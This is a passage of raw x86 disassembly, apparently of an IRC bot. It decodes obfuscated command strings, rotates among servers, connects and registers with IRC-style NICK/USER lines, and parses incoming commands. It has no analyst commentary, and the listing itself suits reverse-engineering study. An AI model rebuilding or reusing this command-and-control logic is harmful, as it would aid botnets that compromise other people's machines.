		push	eax
		push	offset aServDelS_ ; "serv(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_40F53A:				; CODE XREF: ___:0040F505j
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F561:				; CODE XREF: ___:0040F4D4j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F660	proc near		; CODE XREF: sub_401D16j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40F660	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F6D0	proc near		; CODE XREF: sub_40169Fj

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40F6D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401E88
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_4011B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_40142E
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_401753
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_401753
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_401753
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_401753
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_401753
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_401753
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_401753
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_401753
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_401753
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_401753
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_401753
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_401753
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_401753
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_40172B
		mov	dword ptr [edi], offset	off_43F034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_448F30
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_43F028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_4015E1
		call	near ptr 2800BE7h
		nop
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_4017EE
		push	eax
		push	offset dword_4490BC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4019C4
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C4
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_4017EE
		push	eax
		push	offset dword_4490C8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_4017EE
		push	eax
		push	offset dword_4490CC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D4
		call	sub_401D16
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_4017EE
		push	eax
		push	offset dword_4490DC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_4017EE
		push	eax
		push	offset dword_4490E0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_4017EE
		push	eax
		push	offset dword_4490E4
		call	sub_401D16
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_4017EE
		push	eax
		push	offset dword_4490E8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_4017EE
		push	eax
		push	offset dword_4490EC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_4017EE
		push	eax
		push	offset dword_4490F0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_4017EE
		push	eax
		push	offset dword_4490F4
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_4017EE
		push	eax
		push	offset dword_4490F8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_4017EE
		push	eax
		push	offset dword_4490FC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_4017EE
		push	eax
		push	offset dword_449100
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40F6D0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FE40	proc near		; CODE XREF: ___:004019D3j sub_401A4Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4013C5
sub_40FE40	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_40FE58
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40FE58:				; CODE XREF: ___:0040FE4Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FE70	proc near		; CODE XREF: sub_4013C5j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40FE70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F028
		mov	dword ptr [esi+11h], offset off_43F034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401B68
sub_40FE70	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+10h], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+10h], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+10h], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+10h], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+10h], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+10h], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+10h], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+10h], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_410030	proc near		; CODE XREF: sub_402149j

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43A8D3
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_40142E
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_411400


loc_410072:				; CODE XREF: sub_410030+13CAj
		mov	al, byte_4E8E44
		mov	edi, dword_5118AC
		cmp	al, bl
		jz	loc_411400
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_41009A
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_4100A4
		cmp	eax, ebx
		jz	loc_4101DE


loc_41009A:				; CODE XREF: sub_410030+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_4101DE


loc_4100A4:				; CODE XREF: sub_410030+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_4100B9
		push	eax
		call	near ptr 71AB9639h
		nop


loc_4100B9:				; CODE XREF: sub_410030+80j
		mov	ecx, offset word_44AC5E
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_401541
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_401983
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_4100E9
		mov	[ebp+20h], ebx


loc_4100E9:				; CODE XREF: sub_410030+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_4493ED
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401474
		mov	eax, [eax]
		mov	ecx, offset word_44ACD6
		add	eax, 1B6h
		push	eax
		push	offset dword_4493A4
		call	sub_401F50
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401474
		mov	edx, [eax]
		mov	ecx, offset word_44ACD6
		push	edx
		push	offset dword_449280
		call	sub_401F50
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_449312
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401474
		mov	eax, [eax]
		mov	ecx, offset word_44ACD6
		add	eax, 0DBh
		push	eax
		push	offset byte_4492C9
		call	sub_401F50
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401474
		mov	edx, [eax]
		mov	ecx, offset word_44ACD6
		add	edx, 92h
		push	edx
		push	offset byte_44935B
		call	sub_401F50
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_44947F
		mov	ecx, offset word_44ACD6
		call	sub_401F50
		call	edi
		mov	[ebp+24h], eax


loc_4101DE:				; CODE XREF: sub_410030+64j
					; sub_410030+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_410208
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		nop
		call	near ptr 28502B8h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410208:				; CODE XREF: sub_410030+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_410398
		mov	ax, word_44932C
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		call	near ptr 71AB2B66h
		nop
		mov	ecx, offset byte_4492C9
		mov	[esp+24h+arg_1E], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410288
		push	2710h
		call	near ptr 28502B8h
		nop
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410288:				; CODE XREF: sub_410030+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		call	near ptr 71AB951Eh
		nop
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		call	sub_5FADE9
		nop
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_4015E1
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		call	near ptr 71AB2BF4h
		nop
		push	offset byte_448F30
		mov	ecx, offset byte_44935B
		mov	[ebp+52h], eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410357
		mov	ecx, offset byte_44935B
		call	sub_4017EE
		mov	edx, dword_4490DC
		push	eax
		push	edx
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h


loc_410357:				; CODE XREF: sub_410030+305j
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490E4
		push	eax
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		mov	ecx, dword_4490E0
		push	eax
		push	ecx
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 1Ch
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410398:				; CODE XREF: sub_410030+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	2000h
		push	eax
		push	edx
		call	sub_401280
		add	esp, 10h
		cmp	al, bl
		jz	loc_4113F0
		call	near ptr 2800BE7h
		nop
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401CD0
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_401A9B
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490E8
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410470
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset dword_4493A4
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410474


loc_410470:				; CODE XREF: sub_410030+3EAj
		mov	[esp+20h+var_D], bl


loc_410474:				; CODE XREF: sub_410030+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410496
		mov	byte ptr [ebp+16h], 1
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410496:				; CODE XREF: sub_410030+45Bj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490BC
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		push	1
		jz	short loc_410534
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490D8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_410662
; ---------------------------------------------------------------------------


loc_410534:				; CODE XREF: sub_410030+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016B8
		mov	ecx, dword_4490C0
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		jz	loc_4106A0
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4113F7
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490D8
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410667
